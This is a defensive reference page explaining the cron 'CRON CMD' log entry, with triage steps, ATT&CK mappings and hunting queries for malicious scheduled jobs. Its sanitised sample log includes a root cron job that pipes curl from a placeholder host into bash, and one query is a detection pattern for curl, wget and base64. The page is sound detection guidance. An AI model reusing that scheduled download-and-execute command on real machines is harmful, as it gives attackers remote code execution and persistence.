Log Dejargonizer

cron · Event CMD

CRON CMD: a scheduled job ran

cron ran a scheduled command. The log records that it started, and almost never whether it worked — which is why cron failures are so often discovered late, and why an attacker's cron entry is easy to miss.

Also written as CRON CMDcron session openedpam_unix(cron:session)crontab log entry

What it means for you

On a personal computer

A scheduled task ran on this Linux machine. Normal system maintenance produces these constantly.

For an analyst

cron logs the invocation, not the outcome. A job that fails silently looks identical to one that succeeded unless it writes to stderr and mail is configured. For hunting, the useful angle is the command text: entries invoking curl, wget, base64, or a shell one-liner from a user crontab deserve reading, and the crontab files themselves matter as much as the log.

What it looks like

Sanitised. Addresses come from the RFC 5737 documentation ranges.

Sample
Aug 28 09:45:01 web-01 CRON[25011]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Aug 28 09:45:01 web-01 CRON[25012]: (root) CMD (curl -s https://files.example.invalid/s.sh | bash)
Aug 28 09:45:01 web-01 CRON[25011]: pam_unix(cron:session): session closed for user root

The fields that decide it

Everything else in the log line is context.

User in parentheses
The account the job ran as. root entries deserve more attention than user ones.
CMD
The command that was run. This is the field worth reading.
  • A path under /etc/cron.daily or similarOrdinary system maintenance.
  • curl or wget piped into a shellDownloading and executing on a schedule. Rarely legitimate in a crontab.
  • base64 or a long encoded stringObfuscated payload.
  • A command from a user home directoryWorth confirming who put it there.
pam_unix(cron:session)
The session opening and closing around the job. Useful for confirming the job actually started.
Where it was defined
Not in the log line. /etc/crontab, /etc/cron.d, the per-user crontabs, and systemd timers are all separate places to check.

Ordinary reasons this happens

Most of the time it is one of these.

  • System maintenance jobs, which run constantly and account for most of the volume.
  • Log rotation, certificate renewal, and package cache updates.
  • Backup and monitoring jobs.
  • Application scheduled work such as queue processing.
  • Administrator scripts scheduled deliberately.

When it is not ordinary

Persistence through a cron entry.

What gives it awayA job running a script from a temp directory, a user home, or a shared directory, particularly one added recently.

ATT&CK T1053.003

Scheduled download and execution.

What gives it awayA CMD containing curl or wget piped into a shell.

ATT&CK T1105

A malicious job hidden among system entries.

What gives it awayA file dropped into /etc/cron.d with a name resembling a package's own.

ATT&CK T1053.003

Periodic beaconing.

What gives it awayA job on a short interval whose command reaches the network.

ATT&CK T1071

What to do next

  1. Read the CMD text. Downloads, encoded strings, and shell one-liners are the entries worth chasing.
  2. Check which account the job ran as. root jobs matter more.
  3. Find where the job is defined — the log does not say. Check /etc/crontab, /etc/cron.d, /var/spool/cron, and systemd timers.
  4. Check the modification times on crontab files, which often dates the addition.
  5. Remember that success is not logged. If you need to know whether a job worked, look at what it wrote, not at cron.
  6. Compare the job set against a known-good machine of the same build.

Queries to run

grep Every distinct scheduled command by frequency. Read the tail — unfamiliar entries live there.
grep CRON /var/log/syslog | grep -oP 'CMD \(\K[^)]+' | sort | uniq -c | sort -rn | head -30
grep Every crontab on the machine, including per-user ones people forget to check.
for u in $(cut -f1 -d: /etc/passwd); do echo "== $u"; crontab -u $u -l 2>/dev/null; done; ls -la /etc/cron.d/ /etc/cron.*/
grep Scheduled commands with the shapes worth investigating.
journalctl -u cron -u crond --since '24 hours ago' --no-pager | grep -Ei 'curl|wget|base64|/tmp/|bash -c'
grep systemd timers, which are increasingly where scheduled work lives and which cron logs never show.
systemctl list-timers --all --no-pager

Common questions

Does cron log whether a job succeeded?

No, and this catches people out constantly. It logs that the command was invoked, not what happened next. A job that fails immediately produces the same log line as one that worked. If you need to know the outcome, have the job write its own output somewhere, or wrap it in something that records the exit status.

Where are cron jobs defined on Linux?

In several places, which is why they are easy to miss: /etc/crontab, files in /etc/cron.d, the /etc/cron.hourly through /etc/cron.monthly directories, and per-user crontabs under /var/spool/cron. Increasingly, scheduled work lives in systemd timers instead, which do not appear in cron logs at all — check `systemctl list-timers` as well.

How do I find a malicious cron job?

Read the commands rather than the schedule. Anything downloading and executing, anything base64-encoded, and anything running from /tmp or a user home directory is worth confirming. Then check every location cron reads from, including per-user crontabs, and compare modification times against when you think the machine was last touched.

Why do I see cron entries every minute?

Some monitoring and application jobs are configured to run that frequently, and each invocation is logged. It is normal, though it does bury less frequent entries. Filtering the very high-frequency commands out is usually the first step when reading cron logs seriously.

Read next

Vendor documentation

Last reviewed 28 August 2026